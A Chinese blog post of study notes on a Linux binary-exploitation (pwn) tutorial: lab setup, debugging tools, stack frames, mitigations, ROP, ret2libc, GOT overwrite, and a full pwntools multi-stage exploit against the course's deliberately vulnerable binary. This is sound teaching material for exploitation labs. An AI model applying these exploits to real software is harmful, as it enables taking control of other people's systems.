linux-exploitation-course是一个pwn基础入门的教程。18年实习的时候star了这个项目,看上去是那种可以”跟着做“的教程,心里也就记着它。后面学安全的时候,时不时就把它拿出来看看,每次都有新发现。前几天为了梳理基础知识,又过了一遍,感觉自己学习方式有点孬,笔记记太少了,不利于复习和记忆。这次干脆把一堆markdown做成了pdf,以便记笔记和复习。

这篇文章是这次学习的笔记。想要学这个教程的同学可以把这篇作为参考,里面有一些调试过程和知识点讲解。

0x00 linux pwn环境搭建

0x01 vagrant搭建虚拟机

教程中用的是vagrant,这是一个管理虚拟机的工具。先在电脑上安装Virtualbox和vagrant,之后在命令行中切到项目目录下,运行vagrant up虚拟机就配置好了,之后运行vagrant ssh就可以直接连接虚拟机,很方便,唯一一点障碍就是可能要配置一下源来应付糟糕的网络环境。

配置源的方式:

1
2
3
$ vagrant box add https://mirrors.tuna.tsinghua.edu.cn/ubuntu-cloud-images/xenial/20190909.1/xenial-server-cloudimg-amd64-vagrant.box --name ubuntu/xenial64
$ vagrant box list
ubuntu/xenial64 (virtualbox, 0)

vagrant up读取的配置文件是Vagrantfile,我们简单看一下教程中的Vagrantfile有哪些内容:

config.vm.box = "ubuntu/xenial64"表示我们要使用的镜像,可以在这个页面找到很多可用的镜像,linux各个主流发行版都有。

config.vm.provision这一项中可以写虚拟机的初始化脚本,第一次连接到虚拟机会自动运行,后面可以用vagrant provision来手动运行。我们可以在使用过程中修改初始化脚本,再用命令vagrant destroy &&vagrant up 调试几次确保不出错。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
  config.vm.provision "shell", inline: <<-SHELL
    dpkg --add-architecture i386
    apt-get update
    apt-get install -y libc6:i386 libncurses5:i386 libstdc++6:i386 gdb python python-pip libssl-dev gcc git binutils socat apt-transport-https ca-certificates libc6-dev-i386 python-capstone libffi-dev
    hash -r
    pip install --upgrade pip
    pip install ropgadget
    pip install pwntools
    # 省略很多.....
    SHELL
  end

有了镜像和初始化脚本,我们就可以快速地在不同设备中迁移开发环境。

默认情况下,vagrant会把Vagrantfile所在文件夹挂载到虚拟机中的/vagrant目录下,我们在这个目录下工作就能很方便的共享文件,实现宿主机中开发,虚拟机中运行的丝滑体验。

0x02 工具

gdb

gdb有多个插件可供选择,peda,gef,pwndbg。我目前使用的是pwndbg。

常用命令和技巧

1
2
3
vmmap # 查看虚拟内存状况,一般用来找libc、heap、code的基址
checksec # 查看开了哪些缓释机制
cyclic # 找offset

~/.gdbinit

1
set context-sections "code" # 默认输出信息太多了,可以通过这个命令来调整

vim

因为只是偶尔改改脚本用,没必要使用网上成套的配置。

注意目的是减少重复工作。

~/.vimrc

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
:command G !gcc -g % -o%<
:command G32 !gcc -m32 -g  % -o%<32
:command Gr !gcc -g % -o%< && ./%<
:command Gr32 !gcc -m32 -g  % -o%<32 && ./%<32

syntax on
set number
set ruler

call plug#begin('~/.vim/plugged')

Plug 'jiangmiao/auto-pairs'
Plug 'godlygeek/tabular'
Plug 'plasticboy/vim-markdown'

" Initialize plugin system
call plug#end()
set rtp+=~/.fzf

:map <C-F> :FZF<CR>

tmux

~/.tmux.conf

1
set -g mouse on # 启用鼠标

pwntools

exp模板 pwn-template.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# -*- coding:utf-8 -*-
#!/usr/bin/env python
from pwn import *
context.log_level = 'debug'

context.terminal = ['tmux', 'splitw', '-h']
# r = remote('52.68.31.117', 9547)
name = './'
r = process(name)

# libc = ELF("/lib/i386-linux-gnu/libc-2.23.so")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
binn = ELF(name)


print(str(r.proc.pid))

gdb.attach(r, """
heap

""");
print(str(r.proc.pid))

r.interactive()

0x10 stack overflow

最经典的漏洞,难怪stack overflow叫stack overflow :)

🌰

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
// 这里关闭所有缓释机制,编译32位
#include <unistd.h>
#include <stdio.h>
void vuln() {
char buffer[16];
read(0, buffer, 100);
puts(buffer);
}
int main() {
vuln();
}

read最多可以往buffer里面写入100个字节,而buffer大小只有16,多余的字节往上会一路覆盖到一些关键寄存器,造成程序错误。

要理解这个,先得知道程序运行的时候栈的状态变化。

0x11 程序运行中栈的变化

(这里只讨论32位)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
pwndbg> disassemble main
Dump of assembler code for function main:
   0x08048466 <+0>:     lea    ecx,[esp+0x4]
   0x0804846a <+4>:     and    esp,0xfffffff0
   0x0804846d <+7>:     push   DWORD PTR [ecx-0x4]
   0x08048470 <+10>:    push   ebp
   0x08048471 <+11>:    mov    ebp,esp
   0x08048473 <+13>:    push   ecx
   0x08048474 <+14>:    sub    esp,0x4
   0x08048477 <+17>:    call   0x804843b <vuln> # 调用函数vuln
   0x0804847c <+22>:    mov    eax,0x0
   0x08048481 <+27>:    add    esp,0x4
   0x08048484 <+30>:    pop    ecx
   0x08048485 <+31>:    pop    ebp
   0x08048486 <+32>:    lea    esp,[ecx-0x4]
   0x08048489 <+35>:    ret
End of assembler dump.

在汇编中,函数调用通过call来进行,call把下一条指令压到栈顶,之后跳转到call指令的参数

image-20191115111345926

image-20191115111541512

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
pwndbg> disassemble vuln
Dump of assembler code for function vuln:
=> 0x0804843b <+0>:     push   ebp
   0x0804843c <+1>:     mov    ebp,esp
   0x0804843e <+3>:     sub    esp,0x18
   0x08048441 <+6>:     sub    esp,0x4
   0x08048444 <+9>:     push   0x64
   0x08048446 <+11>:    lea    eax,[ebp-0x18]
   0x08048449 <+14>:    push   eax
   0x0804844a <+15>:    push   0x0
   0x0804844c <+17>:    call   0x8048300 <read@plt>
   0x08048451 <+22>:    add    esp,0x10
   0x08048454 <+25>:    sub    esp,0xc
   0x08048457 <+28>:    lea    eax,[ebp-0x18]
   0x0804845a <+31>:    push   eax
   0x0804845b <+32>:    call   0x8048310 <puts@plt>
   0x08048460 <+37>:    add    esp,0x10
   0x08048463 <+40>:    nop
   0x08048464 <+41>:    leave
   0x08048465 <+42>:    ret
End of assembler dump.
pwndbg>

在进入vuln后,首先把old ebp压入栈中,并让新的ebp指向这里,构造出了新的”栈帧“

image-20191115122202707

当vuln运行完需要返回到main中时,会发生什么呢?

leave销毁了新的”栈帧“,恢复了旧的栈帧。

image-20191115123529369

ret把栈顶的地址pop到eip中(在上一步leave之后栈顶的地址就是返回地址)

image-20191115124114817

看完在main中调用vuln的过程分析,可以总结出以下几点:

  1. 程序通过ebp和esp来标识当前运行函数的栈,当调用或者返回其他函数时,相应地创建或释放栈。
  2. call和ret是一对,修改eip实现程序执行逻辑跳转
  3. push ebp; mov ebp esp和leave是一对,建立和销毁栈帧

0x12 破坏

通过上面的分析可以知道,函数的返回地址是放在ebp+4这个地方的。而局部变量一般放在ebp-xx处,我们例子中的buffer放在ebp-0x18处。

因为我们可以赋给buffer 0x100个字节,超过了0x18个字节,多的字节就会往上覆盖。当然ebp+4也会被覆盖到,offset=(ebp+4)-(ebp-0x18)=28,所以我们只要输入28+4个字节的数据就能把函数的返回地址覆盖成我们想要的,即所谓的”可以覆盖eip“。后续只要构造出shellcode,就可以控制程序做我们想做的事了。

0x13 利用

我们有什么:0x100字节的空间、可以覆盖eip。

尝试构造payload:

控制eip跳转到shellcode处执行

1
2
3
4
payload = ""
payload += "A"*28 + p32(shellcode_addr) # gdb里面手动找shellcode在哪
payload += shellcode
payload = payload.ljust(0x100, "\x90")

0x20 保护措施 👮‍♀️

如今linux已经有了很多缓释机制来防止漏洞利用,例如ASLR、NX、Stack Canaries

0x21 ASLR

ASLR(Address Space Layout Randomisation)

使得每次程序运行的时候代码基址、栈基址、堆基址、加载库的基址等是变化的。

这样就不能再在漏洞利用程序中使用硬编码的地址,加大了利用难度。

0x22 NX

NX(No eXecute) Data Execution Prevention (DEP)

栈和堆的区域被设为"不可执行",这样我们就不能向之前的那个例子那样跳转到放在栈上的shellcode并执行

0x23 Stack Canaries

在局部变量和old ebp直接放置一个随机值,在函数返回之前确认这个值未被改动。

这避免了通过局部变量溢出来覆盖ebp后面的值。

0x30 Bypass NX

(这里是为了讨论概念,所以前提是只开启了这一种保护)

假设我们已经获得eip,既然栈上不能执行,那么我们应该往哪跳呢?

0x31 ROP

ROP(Return Oriented Programming)

面向ret编程:)

在binary中寻找类似这样以ret结尾的语句:

1
0x0804f065 : pop esi ; pop ebp ; ret

跳转到这种语句中我们可以执行一些命令,之后ret。

这种语句被称为gadgets,多个gadgets拼接起来就可以构造出一条ROP链。

Q: 这个ROP链是怎么运行起来的呢?

假设此时我们已经成功覆盖。在leave之后ret之前,esp指向返回地址,此时esp以及esp上面的地址都已经被覆盖。

image-20191115143932632

执行ret,栈顶元素弹出到eip,esp加4,程序跳转到0x807299a处执行,此处是一个gadget,往后执行到ret时,栈顶元素再次弹出到eip,esp加4,程序跳转到0x80ee060处执行。。就这样,依次执行各个gagdet,形成ROP chain。

所以,我们只要找到一堆合适的gadget,就能执行我们想要的逻辑。例如执行系统调用。

手动找gadget好像有点难,还好有工具可以用,甚至把代码都生成好了。

1
2
3
ROPgadget --binary 1_staticnx --ropchain  # ROPgadget

ropper --file 1_staticnx --chain execve # ropper

0x32 Ret2Libc

假设已知libc基址,可以计算出system的地址。我们在栈上构造处"/bin/sh"作为system的参数,再跳转到system。

image-20191115150652537

Q: 注意到此时指向"/bin/sh"的是esp+4而不是esp,这是为什么?

正常call一个函数的时候有个把next instruction压栈的操作,这里是直接跳转的,所以需要在栈上模拟这种布局,使得函数能找到正确的参数。

0x40 Bypassing ASLR/NX

开启保护ASLR和NX

0x41 GOT and PLT

先介绍一下两个概念:GOT(Global Offset Table), PLT(Procedure Linkage Table)

形象表达一下,GOT是一个表格,第一列是。。。TODO

0x42 Ret2PLT

虽然此时system地址是变化的了,但是我们可以跳转到system@plt,这个地址是不变的。而且会自动解析跳转到system

0x43 GOT Overwrite

改写got表中的项。

ctf中经常见到的,改写atoi@got为system,这样在程序输入数字的地方输入“/bin/sh",即可getshell

0x50 Multi-Stage Exploits

组合拳👊

例子🌰

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
#include <unistd.h>
#include <stdio.h>
void vuln() {
  char buffer[16];
  read(0, buffer, 100);
  write(1, buffer, 16);
}
int main() {
	vuln();
}

如果梳理不通下面exp的运行流程,回头复习一下[0x31 ROP](#0x31 ROP)那个小节。

大致描述一下:1. 打印write_got,泄露libc基址。2.往write_got里面写入system。 3.getshell

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#!/usr/bin/python

from pwn import *

offset___libc_start_main_ret = 0x18637
offset_system = 0x0003ada0
offset_dup2 = 0x000d6190
offset_read = 0x000d5980
offset_write = 0x000d59f0
offset_str_bin_sh = 0x15ba0b

read_plt = 0x08048300
write_plt = 0x08048320
write_got = 0x0804a014
new_system_plt = write_plt

pppr = 0x080484e9 # pop esi; pop edi; pop ebp; ret; 作用是清理栈,进入下一个stage

ed_str = 0x8048243

def main():
    p = process("../build/1_vulnerable")
    raw_input(str(p.proc.pid))
    # Craft payload
    payload = "A"*28 # offset
    payload += p32(write_plt) # 1. write(1, write_got, 4)
    payload += p32(pppr) 
    payload += p32(1) # STDOUT
    payload += p32(write_got)
    payload += p32(4)
    payload += p32(read_plt) # 2. read(0, write_got, 4)
    payload += p32(pppr)
    payload += p32(0) # STDIN
    payload += p32(write_got)
    payload += p32(4)
    payload += p32(new_system_plt) # 3. system("ed")
    payload += p32(0xdeadbeef)
    payload += p32(ed_str)

    p.send(payload)

    # Clear the 16 bytes written on vuln end
    p.recv(16)

    # Parse the leak
    leak = p.recv(4)
    write_addr = u32(leak)
    log.info("write_addr: 0x%x" % write_addr)

    # Calculate the important addresses
    libc_base = write_addr - offset_write
    log.info("libc_base: 0x%x" % libc_base)
    system_addr = libc_base + offset_system
    log.info("system_addr: 0x%x" % system_addr)

    # Send the stage 2
    p.send(p32(system_addr))

    p.interactive()

if __name__ == "__main__":
    main()